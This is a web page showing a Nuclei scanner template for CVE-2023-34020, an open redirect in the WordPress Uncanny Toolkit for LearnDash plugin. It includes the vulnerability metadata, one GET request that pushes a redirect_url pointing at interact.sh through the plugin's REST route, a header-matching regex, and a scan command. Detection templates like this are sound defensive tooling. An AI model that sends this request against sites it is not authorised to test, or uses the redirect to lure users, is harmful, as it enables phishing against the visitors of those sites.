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Uncanny Toolkit for LearnDash - Open Redirection

ID: CVE-2023-34020

Severity: medium

Author: LeDoubleTake

Tags: cve2023,cve,wordpress,uncanny-learndash-toolkit,wpscan,redirect

Description

Section titled “Description”

A vulnerability in the WordPress Uncanny Toolkit for LearnDash Plugin allowed malicious actors to redirect users, posing a potential risk of phishing incidents. The issue has been resolved in version 3.6.4.4, and users are urged to update for security.

YAML Source

Section titled “YAML Source”
id: CVE-2023-34020


info:
  name: Uncanny Toolkit for LearnDash - Open Redirection
  author: LeDoubleTake
  severity: medium
  description: |
    A vulnerability in the WordPress Uncanny Toolkit for LearnDash Plugin allowed malicious actors to redirect users, posing a potential risk of phishing incidents. The issue has been resolved in version 3.6.4.4, and users are urged to update for security.
  reference:
    - https://patchstack.com/database/vulnerability/uncanny-learndash-toolkit/wordpress-uncanny-toolkit-for-learndash-plugin-3-6-4-3-open-redirection-vulnerability
    - https://wordpress.org/plugins/uncanny-learndash-toolkit/
    - https://patchstack.com/database/vulnerability/uncanny-learndash-toolkit/wordpress-uncanny-toolkit-for-learndash-plugin-3-6-4-3-open-redirection-vulnerability?_s_id=cve
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:N/A:N
    cvss-score: 4.7
    cve-id: CVE-2023-34020
    cwe-id: CWE-601
    epss-score: 0.00076
    epss-percentile: 0.32361
    cpe: cpe:2.3:a:uncannyowl:uncanny_toolkit_for_learndash:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    publicwww-query: "/wp-content/plugins/uncanny-learndash-toolkit/"
    product: uncanny_toolkit_for_learndash
    vendor: uncannyowl
  tags: cve2023,cve,wordpress,uncanny-learndash-toolkit,wpscan,redirect


http:
  - method: GET
    path:
      - "{{BaseURL}}/?rest_route=/ult/v2/review-banner-visibility&action=maybe-later&redirect=yes&redirect_url=https://interact.sh"


    matchers:
      - type: regex
        part: header
        regex:
          - '(?m)^(?:Location\s*?:\s*?)(?:https?:\/\/|\/\/|\/\\\\|\/\\)(?:[a-zA-Z0-9\-_\.@]*)interact\.sh\/?(\/|[^.].*)?$'
# digest: 4b0a00483046022100b446accb8e0f81d7ccb75aee266081cf57f6dfa54a2d62b0480ba2b70e61870c022100ce6af528473203a4338710a45cd561cd9c9c6554a682624aa07a2cfd22a247e5:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

Section titled “Guide to check the vulnerabilities”

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/cves/2023/CVE-2023-34020.yaml"

View on Github